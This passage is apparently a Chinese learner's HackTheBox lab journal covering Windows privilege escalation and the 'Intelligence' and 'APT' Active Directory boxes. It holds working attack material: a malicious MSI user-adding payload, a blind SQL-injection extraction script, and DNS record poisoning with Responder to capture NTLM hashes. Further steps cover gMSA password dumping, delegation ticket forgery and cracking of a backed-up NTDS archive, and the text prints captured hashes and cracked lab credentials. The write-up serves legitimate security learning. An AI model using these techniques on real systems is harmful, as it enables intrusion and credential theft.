systeminfo whoami/priv 没有东西
winPEASany有几个有意思的 至少红色部分我都该注意



源文件貌似不在了


没什么用 我还找不到它

经过认证的用户可以在c盘根目录创建目录和写入文件

c:\administration也是一样的

https://developer.aliyun.com/article/1227455
这个博客关于这个漏洞验证部分可以参考
1
| powershell -exec bypass "import-module .\powerup.ps1;Get-RegistryAlwaysInstallElevated"
|

https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/AlwaysInstallElevated%E6%8F%90%E6%9D%83.md
https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90
这两个博客适合后续 先生成恶意msi
1
| msfvenom -p windows/adduser USER=msi PASS=Pass@123 -f msi -o ./add.msi
|
传到靶机上
1
| msiexec.exe /quiet /qn /i add.msi
|

1
| evil-winrm -i 10.10.10.239 -u msi -p Pass@123
|

结束
提权部分还是很方便的 基本都是关于介绍这个漏洞的博客 多看几个就了解原理了 在getshell部分 我忘了关键的一步 https他是有证书的 证书上面可能有域名 那个域名可能就是突破口 不过 sql注入也是没问题的 我在sql注入上卡了很久 最后跑60位的密码的时候 太慢了 我看了wp的下一步 才发现我完全错了 我拿到了密码 我尝试在rockyou里找相同 但是rockyou里面没有那个密码 也就是就算我把60位跑出来了 我再进行暴力破解明文 也不行 sql注入那里的数据库权限大概率为root 我只判断了第一位是否为r就没管了 我尝试再添加一个用户到数据库中 但是并不行 在我进行sql注入的时候 卡了很久 我在这里构造的payload都是基于别人发出来的构造的 我自己构造的完全没用

类似于上面这个 我把他的payload搞下来发现能延时 再根据他的改的 才是我的poc里用的 我自己尝试的都不行 延时之后 构造poc也花了很多时间 跑的时候也花时间 社区版的burpsuite暴力破解卡的很 没有多线程 而且尝试拼接其他很多命令也都不行 回包会报错

在源码里 它是先执行了sql语句 才报错的 按理来说sql语句应该执行了才对

但结果就是没有执行成功
frp搭建隧道将靶机的3306搭建到本地6000

空密码 我先上来看看我之前的操作到底有没有用

没用

也没用
到此结束 还是需要多打靶场 思路再清晰一点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
| import requests
cookies = {
'PHPSESSID': 'c8kjhdoo2juviv0rfkgsop4tol',
}
li = list('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/~`"\'\\')
# for i in li:
# print(i)
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cache-Control': 'max-age=0',
'Content-Type': 'application/x-www-form-urlencoded',
# 'Cookie': 'PHPSESSID=c8kjhdoo2juviv0rfkgsop4tol',
'Origin': 'http://10.10.10.239',
'Proxy-Connection': 'keep-alive',
'Referer': 'http://10.10.10.239/admin/index.php',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}
# database
# temp = ''
#
# for temp_number in range(1,11):
# for i in li:
# import time
# start = time.time()
# data = f'username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28database%28%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&password=12&login='
# response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
# end = time.time()
# print(i,str(end-start))
# if end-start >= 5.0:
# temp += i
# print(temp)
# break
#
# print(temp)
# username
# temp = ''
#
# for temp_number in range(1,6):
# for i in li:
# import time
# start = time.time()
# data = f'%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+username+FROM+admin%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ'
# response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
# end = time.time()
# print(i,str(end-start))
# if end-start >= 5.0:
# temp += i
# print(temp)
# break
#
# print(temp)
temp = ''
for temp_number in range(1,61):
for i in li:
import time
start = time.time()
data = f'username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+password+FROM+admin+WHERE+username%3D%22admin%22%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&password=12&login='
response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
end = time.time()
print(i,str(end-start))
if end-start >= 5.0:
temp += i
print(temp)
break
print(temp)
|
19.Intelligence
信息收集:




既然有53就先去80收集域名 然后看看
80端口


域名:intelligence.htb
53 domain


135

有部分权限
1
| rpcclient -U "" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' -N 10.10.10.248
|
只有enumprivs能成功 没什么东西
139/445



ldap


没什么东西 这些信息我之前就拿过了
这些服务也算看完了 80端口爆破啥东西也没有 再仔细看看把 我刚刚用的dnsenum他会从53端口爆破子域名 但是没有结果 我这里用FFUF自己爆破把
1
| wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.248 -H "Host: FUZZ.intelligence.htb" --hh 7432
|
然后我把目光放到了udp上 udp的服务只有123跟其他不一样 因为udp的53 88 389跟tcp没区别 就这个123 ntp没见过
https://book.hacktricks.xyz/network-services-pentesting/pentesting-ntp
这里有payload

也没啥东西
太奇怪了 在前面很多靶场里面我感觉我已经把域方面的信息收集已经了解的很透彻了 但是这里我全收集完了 出了一个主域以外啥也没有 可能是要打exp?
也不行卡住了

但是我在80端口翻到了两个文件
http://intelligence.htb/documents/2020-12-15-upload.pdf
http://intelligence.htb/documents/2020-01-01-upload.pdf
这两个文件里没啥东西
strings还是head都没看出来 这个PDF上面也没东西 我以为是凯撒加密 去解也没东西

也没找到什么 域名也没东西

有点难 完全没思路了 看了下一步的wp

这个文本我也是第一次见 获得详细信息的方式我也是第一次见 先去学习一下这两个吧
Lorem Ipsum风格文本一般包含重复的拉丁文语
PDF文件元数据分析(用到ExifTool) 可以提取元数据 来获取信息
除了做取证的 我感觉我想不到这里有这一出 知道切入点就行了

找到了两个creator 两个用户名 确实是存在的

拿到帐号了 用这个


没东西
根据网页里pdf的构造方式
http://dc.intelligence.htb/documents/2020-01-01-upload.pdf
能确定他就是以年月日来命名的 可能还会有些隐藏的这种文件 而我要提取他们
我开始尝试构造poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| import datetime
import requests
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cache-Control': 'max-age=0',
# 'If-Modified-Since': 'Thu, 01 Apr 2021 17:00:00 GMT',
# 'If-None-Match': '"0e86d731827d71:0"',
'Proxy-Connection': 'keep-alive',
'Referer': 'http://dc.intelligence.htb/',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}
start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)
date_list = []
while start_date < end_date:
date_list.append(start_date)
response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
start_date += dalta
if response.status_code == 200:
print(f'http://intelligence.htb/documents/{start_date}-upload.pdf')
open('./url.txt','a',encoding='utf-8').write(f'http://intelligence.htb/documents/{start_date}-upload.pdf\n')
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| import PyPDF2
import requests
from io import BytesIO
import datetime
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cache-Control': 'max-age=0',
'Proxy-Connection': 'keep-alive',
'Referer': 'http://intelligence.htb/',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}
start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)
def Evidence(start_date):
try:
response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))
docinfo = pdffile.getDocumentInfo()
# print('[*] PDF metadata For:'+ str(filepath))
for metaItem in docinfo:
print(f'http://intelligence.htb/documents/{start_date}-upload.pdf', end=' ')
print(metaItem.strip('/'), ":", docinfo[metaItem])
open('users.txt', 'a', encoding='utf-8').write(docinfo[metaItem] + '\n')
except Exception as e:
pass
if __name__ == '__main__':
while start_date < end_date:
Evidence(start_date)
start_date += dalta
|
值得一提的是 如果header携带了下面这两个 回包会一直是304
1
2
| # 'If-Modified-Since': 'Thu, 01 Apr 2021 17:00:00 GMT',
# 'If-None-Match': '"0e86d731827d71:0"',
|

我尝试去找SPN账号的hash 但是都没有 总感觉遗漏了什么
我新建了一个test.py 将所有pdf的文本全部下载下来 写入test.txt里 方便我挨个看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| import PyPDF2
import requests
from io import BytesIO
import datetime
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cache-Control': 'max-age=0',
'Proxy-Connection': 'keep-alive',
'Referer': 'http://intelligence.htb/',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}
start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)
def Evidence(start_date):
try:
response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))
docinfo = pdffile.getDocumentInfo()
# print('[*] PDF metadata For:'+ str(filepath))
for index, page in enumerate(pdffile.pages): # 遍历所有页面
open('test.txt', 'a', encoding='utf-8').write(f'http://intelligence.htb/documents/{start_date}-upload.pdf\n')
open('test.txt', 'a', encoding='utf-8').write(page.extract_text()+'\n\n\n\n\n\n\n')
except Exception as e:
pass
if __name__ == '__main__':
while start_date < end_date:
Evidence(start_date)
start_date += dalta
|
上面的代码参考了很多博客 因为我第一次了解到PyPDF2库和from io import BytesIO这个操作 再开始写的时候遇到了很多误区 找的几个库都无法使用或者很麻烦 对我帮助比较大的博客如下 如果想自行构造这些poc 大概率也要参考这些博客
https://blog.csdn.net/qq_39147299/article/details/125677918
https://blog.csdn.net/weixin_43047908/article/details/115769321
https://cloud.tencent.com/developer/article/1477328
https://gist.github.com/ceaksan/25034d9bd4496ea953082d2cfa831ad1 #这个帮助最大

找到了默认密码 这样就可以暴力破解了
1
2
3
| NewIntelligenceCorpUser9876
crackmapexec smb 10.10.10.248 -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success
|
只找到一个凭据
1
| ntelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
|
靶机没开winrm 所以这里不能直接连进去 有了凭证之后 之前看的所有服务 都能用这个凭证再去收集一下信息
SMB

SYSVOL 我打算利用SYSVOL还原组策略中保存的密码 但是没用保存密码
Users 就是windows下的Users文件夹 flag如下


SMB确实拿不到shell 但是放眼望去 除了SMB能拿到信息以外 其他服务想要getshell就更不现实了 我猜测IIS的网站目录可能就在Users里面 我还发现了一个IT文件夹 里面就一个文件 内容如下
1
2
3
4
5
6
7
8
9
10
| # Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <[email protected]>' -To 'Ted Graves <[email protected]>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
|
我想到一件事 他提到了这个文件隔五分钟运行一次 我如果能修改这个文件 那就能拿到shell了
但是删不了这个文件 也不能上传覆盖 没有权限 而且整个目录都不能写 powershell一直是我的弱项 这里我尝试读懂它
1
2
3
4
5
6
7
8
9
| Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <[email protected]>' -To 'Ted Graves <[email protected]>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
|
Get-ChildItem获得dns处的所有以web开头的域名 遍历所有域名 然后以默认权限发送请求到到目标域名 如果返回值不为200 那么他会以[email protected]的身份给[email protected]发一封邮件 表示这个域名所在的服务已经被关闭了
看到跟dns有关的时候 我找到了dnstool.py 这个是我唯一记录的跟dns有关的poc 我记录的命令并没有效果


这里的提示我可以添加修改删除AD集成的DNS记录 后续如何利用我完全想不通了
如果我去将web开头的域名改成我的 然后让他访问失败 他也只会给他自己发送一个邮件 邮件内容怎么构造的我也能看到 所以篡改域名对我来说貌似没大用处
我又开始读那个powershell
1
| $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
|
向目标发包 验证存活 用的是默认凭证 我这里无法明白的是 请求url为什么要携带默认凭证 突然就有点理解了 在域内互相访问资源的时候 都必须要携带凭证才能访问 不然会回包401需要认证 为了防止这种情况发生 所以加了-UseDefaultCredentials参数 而当我们篡改了dns记录里面的域名 目标向我们发包的时候 就可以捕获NTLM或Kerberos密文凭据 再进行解密就行
https://www.praetorian.com/blog/unconstrained-delegation-active-directory/
这个博客里我找到了添加的方法

但是拼接好了还是报错 如果让我自己拼接命令 可能有点困难 改命令虽然也难弄 但至少工作量少点 错误少点
我开始看命令介绍 https://github.com/dirkjanm/krbrelayx 改了之后更改成功了
1
| python3 dnstool.py ldap://10.10.10.248:389 -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtest.intelligence.htb -a add -t A -d 10.10.16.14
|

结果等了半天没反应 我接着看参数 然后对比了一下原始的命令
1
| python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtest.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248
|
可能我不应该去加那个ldap指定端口 我直接把ip加到最后面了

这次没问题了 没有报错

原来正确的记录后面是会跟着IP的 可以看到上面的那个是我之前的命令 后面没有IP 也就是没有记录成功把 我不清楚记录了两个一样的域名 一个有IP一个没有 会不会导致报错 所以我又写了一个web开头的域名

收到了请求 但是为什么没有凭证呢?可能这不是一个真正的http服务 我尝试开一个flask 这个能接收到

还是接收不到凭据 我尝试用wireshark 也没有任何作用

到这里我是真的没思路了 看了眼wp 他提到了Responder这个工具 我开始找方法
1
2
3
4
| [HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:3b267a46c774400f:A842C01024C9E8EA01810E4BEE6A41F4:0101000000000000EC36E0307347DB010E813ACCADA649140000000002000800390045003800390001001E00570049004E002D005A004A004500570048003400470041003400540038000400140039004500380039002E004C004F00430041004C0003003400570049004E002D005A004A004500570048003400470041003400540038002E0039004500380039002E004C004F00430041004C000500140039004500380039002E004C004F00430041004C000800300030000000000000000000000000200000583346B9E2E4E1103C4197AA4C60C45E679C02E8DE8EC1AA5F81F4BAA6624FBB0A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620074006500730074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
[*] Skipping previously captured hash for intelligence\Ted.Graves
|
NTLMv2是5600 直接调用就行
1
2
3
| hashcat -m 5600 1.txt /usr/share/wordlists/rockyou.txt
Ted.Graves:Mr.Teddy
|

没问题 登录是完全无法登录的 这里用bloodhound远程获取一下 刚刚那个账号我尝试获取了 但是报错 我看看这个账号行不行

我去google了下 貌似我这个参数是错的 dc的名称我之前信息收集弄到了就是DC 但是还会报错
https://blog.csdn.net/gitblog_00797/article/details/142076858
这个博客给的payload是-ns 指向dns服务器就行
1
| bloodhound-python -d intelligence.htb -u Ted.Graves -p Mr.Teddy -ns 10.10.10.248 -c all
|
分析了之后发现两个点

当前用户再administrator组里面 但是受到UAC限制 默认情况是以当前用户权限运行的 要想获得管理员权限得在命令行运行下面的命令
1
2
3
| runas /user:administrator cmd.exe
psexec -i -s cmd.exe
Start-Process cmd.exe -Verb RunAs
|
前提是我得获得shell 所以这条路不能走
第二个点是他提到了有一个约束委派的服务账号SVC_INT$

可以通过它来伪造administrator的st 针对某个服务就行 这里思路就清晰了


不知道为什么拿不到他的hash 我仔细看了下这个图 找到了第二条线

我不了解这个是啥 google之后我找到了这个博客 https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword

1
2
3
4
5
6
7
8
| python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Users or groups who can read password for svc_int$:
> DC$
> itsupport
svc_int$:::8ee3b94d589dba78682293e1281bd394
svc_int$:aes256-cts-hmac-sha1-96:ba3ed0df6c5352e26ba7611354f901c89554733bab88094e8afbaca7368b3a80
svc_int$:aes128-cts-hmac-sha1-96:ab353763ac9cd6431a09819326a4daee
|
到这一步先暂停 我开始了解这个方法的原理

根据这个逻辑

只有[email protected]组 才能利用GMSA获取svc的密码 实际上当前用户没有这个组的权限

至少当前页面是这样的 我重新检索了一下

没有问题就是这个组的成员 刚刚没有显示出来而已 所以才能利用
1
2
| ntpdate -u intelligence.htb && date
getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn cifs/intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT
|
不知道为什么一直报错 想了一会 想到约束委派应该是有一个特定的服务的 而不是我想要什么就是什么 还是得去找

找到了
1
2
| ntpdate -u intelligence.htb && date
getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn WWW/dc.intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT
|

没问题了 根据约束委派的教程先设置环境变量

结束
这个靶场是我最近这段时间耗时最长的靶场 而且一路上接收新东西 搞得有点发昏 期间还睡了一觉 不光如此 wp我还看了两次 如果说前面的所有靶场的都是了解域控的基本流程渗透 那这个靶场就是把前面的技巧全部总结了 各种出其不意 在我思考攻击链的路上一直不断试错 一直看哪出了问题 不得不说这个博客对我这段时间的域渗透有着很大的帮助 有一种总结的作用 https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/ 在里面他虽然每一个地方只提到了一句 但是有切入点之后 再去搜工具服务的详细信息详细利用 就非常容易展开了 而且关于上面用到的所有技术 这里面都有 而我刚开始学的时候 也是按照这个流程学的
20.APT

可以看到难度非常高
信息收集:




两个名称把
这是套用被人的模板 他也做了声明 我现在需要找是哪个模板 如何没有后端的话 就代表我不需要在这里努力了 如果存在后端 我尝试下载源码就行 可惜的是我并没有找到 但是我尝试了jsfinder帮我去找可能存在的url 他也没有任何提示 也就是这就是一个纯前端的网站 可能有隐藏的 这只能靠目录爆破来找隐藏的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| python /home/kali/hackthebox/JSFinder-master/JSFinder.py -u http://10.10.10.213/ -d -j
ALL Find 8 links
url:http://10.10.10.213/index.html
Remaining 8 | Find 0 URL in http://10.10.10.213/index.html
url:http://10.10.10.213/#
Remaining 7 | Find 0 URL in http://10.10.10.213/#
url:http://10.10.10.213/services.html
Remaining 6 | Find 0 URL in http://10.10.10.213/services.html
url:http://10.10.10.213/clients.html
Remaining 5 | Find 0 URL in http://10.10.10.213/clients.html
url:http://10.10.10.213/about.html
Remaining 4 | Find 0 URL in http://10.10.10.213/about.html
url:http://10.10.10.213/support.html
Remaining 3 | Find 0 URL in http://10.10.10.213/support.html
url:http://10.10.10.213/news.html
Remaining 2 | Find 0 URL in http://10.10.10.213/news.html
|
这里面我知道找到一个email 有域名
我将它添加到我的hosts里面然后访问一下http服务看看会不会改变 然后我再通过FFUF爆破子域名(并没有什么区别 这个域名没有效果)
1
| wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.213 -H "Host: FUZZ.gigantichosting.com" --hh 14879
|
80端口全看完了 该去看看rpc了
在看RPC之前 我看了靶场的介绍

他提到了这是一个非常困难的机器 RPC枚举可以找到IPV6的地址 然后对IPV6进行渗透 全部都由我自行搜索的话 我肯定我是无法完成这个靶机的 跟之前一样 遇到非常难的靶机的时候 我会跟随WP一直做 直到我能自行操作的地方 因为我看有些WP他们也是基于学习的目的来做这个靶场的 重要的是转化成自己的东西
看wp下一步是用rpcmap.py去找信息作为切入点 我也尝试了常规的rpcclient空账号密码访问 没有效果
1
2
3
4
5
6
7
8
9
| rpcclient:
主要用于SMB/CIFS服务
Windows域环境中常用
需要凭据
rpcmap.py/rpcdump.py:
专注于RPC端点枚举
不需要凭据
可以发现更多RPC接口
|
有切入点开始搜索教程 下面的博客讲的很好
https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/rpc
https://www.cnblogs.com/yuantest/p/15738148.html#smbmsrpc
https://juggernaut-sec.com/ad-recon-msrpc/
我开始尝试
1
| rpcmap.py 'ncacn_ip_tcp:10.10.10.213'
|
还是根据 https://juggernaut-sec.com/ad-recon-msrpc/ 这个博客的提示(我尽量避免看wp的同时进行学习 在后面我可能也会遇到我没见过的服务 如果没有wp 我只能靠这种方式)

他提到了要主要注重99FCFEC4-5260-101B-BBCB-00AA0021347A

刚好我这里的结果也有这个


非常契合APT这个靶场 我都怀疑是不是WP了 但实际上并不是 他讲述了针对rpc的所有方法 这个博客里给的链接都失效了 我根据他的py名称找到了项目地址
https://github.com/mubix/IOXIDResolver
1
2
3
4
5
| python IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
|
成功复现

没有问题 能通 为了方便 我给他取了一个域名放入hosts里 或者nmap ipv6扫描都行


现在才正式开始
80端口 没什么区别 暂时不爆破 没其他方法了在爆破 因为爆破很卡

135 rpc

1
| rpcclient -U "" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' apt.htb
|

一个权限都没有
389 ldap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| nmap -n -sV --script "ldap* and not brute" -p 389 -6 apt.htb
| dnsHostName: apt.htb.local
| ldapServiceName: htb.local:[email protected]
| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=htb,DC=local
| dsServiceName: CN=NTDS Settings,CN=APT,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local
| namingContexts: DC=htb,DC=local
| namingContexts: CN=Configuration,DC=htb,DC=local
| namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
| namingContexts: DC=DomainDnsZones,DC=htb,DC=local
| namingContexts: DC=ForestDnsZones,DC=htb,DC=local
| defaultNamingContext: DC=htb,DC=local
| schemaNamingContext: CN=Schema,CN=Configuration,DC=htb,DC=local
| configurationNamingContext: CN=Configuration,DC=htb,DC=local
| rootDomainNamingContext: DC=htb,DC=local
|
域名是htb.local 这样的话我得把hosts里面的域名改了 没认证没权限

445 smb
1
2
| enum4linux -a -u "" -p "" htb.local && enum4linux -a -u "guest" -p "" htb.local
smbclient -U '%' -L //htb.local && smbclient -U 'guest%' -L //htb.local
|
1
2
3
4
5
6
7
8
9
| smbclient -U '%' -L //htb.local && smbclient -U 'guest%' -L //htb.local
Sharename Type Comment
--------- ---- -------
backup Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
htb.local is an IPv6 address -- no workgroup available
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| [+] Attempting to map shares on htb.local
//htb.local/backup Mapping: OK Listing: OK Writing: N/A
//htb.local/IPC$ Mapping: OK Listing: DENIED Writing: N/A
[E] Can't understand response:
do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)
//htb.local/NETLOGON Mapping: N/A Listing: N/A Writing: N/A
[E] Can't understand response:
do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)
//htb.local/SYSVOL Mapping: N/A Listing: N/A Writing: N/A
|
1
2
3
| crackmapexec smb htb.local
SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
|
上面就是所有信息 根据提示 可以访问的有backup和IPC$
backup里面有个backup.zip 要一个G 下载太慢直接断开了 然后我又访问了几次


连不上了 重启之后就好了 我开始找能直接在smb下载文件的命令 不要断开那种
1
2
| smbget -R smb://htb.local/backup #这个要求ip而不是域名 所以不行
mount -t cifs //htb.local/backup/ ./backup #也不行
|
针对我学的常规域渗透 就差一个53的域名查询了 接着来吧
53 dns

这个不行 重新爆破新80端口

这完全没区别 百分之百就是445的backup.zip 那个里面有东西 我尝试看看报错 然后尝试下载
https://unix.stackexchange.com/questions/31900/smbclient-alternative-for-large-files
这个博客里的有几种解决方法 下面这个方法可以下载成功
1
| smbclient -m SMB2 -N '//htb.local/backup' -c 'timeout 120; iosize 16384; get backup.zip'
|

需要密码
1
2
3
4
5
6
7
8
9
10
| zip2john backup.zip > passwd.hash
ver 2.0 backup.zip/Active Directory/ is not encrypted, or stored with non-handled compression type
ver 2.0 backup.zip/Active Directory/ntds.dit PKZIP Encr: cmplen=8483543, decmplen=50331648, crc=ACD0B2FB ts=9CCA cs=acd0 type=8
ver 2.0 backup.zip/Active Directory/ntds.jfm PKZIP Encr: cmplen=342, decmplen=16384, crc=2A393785 ts=9CCA cs=2a39 type=8
ver 2.0 backup.zip/registry/ is not encrypted, or stored with non-handled compression type
ver 2.0 backup.zip/registry/SECURITY PKZIP Encr: cmplen=8522, decmplen=262144, crc=9BEBC2C3 ts=9AC6 cs=9beb type=8
ver 2.0 backup.zip/registry/SYSTEM PKZIP Encr: cmplen=2157644, decmplen=12582912, crc=65D9BFCD ts=9AC6 cs=65d9 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
|
只有关键的需要密码 ntds.dit SYSTEM SECURITY
1
2
| zip2john backup.zip > passwd.hash -o ntds.dit
zip2john backup.zip
|

1
| backup.zip:$pkzip$4*1*1*0*8*24*9beb*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*65d9*2a1c4c81fb6009425c2d904699497b75d843f69f8e623e3edb81596de9e732057d17fae8*1*0*8*24*acd0*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip$
|
将上面的hash放入文件里 然后解就行
1
2
3
4
5
6
7
8
9
| john ./hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyousomuch (backup.zip)
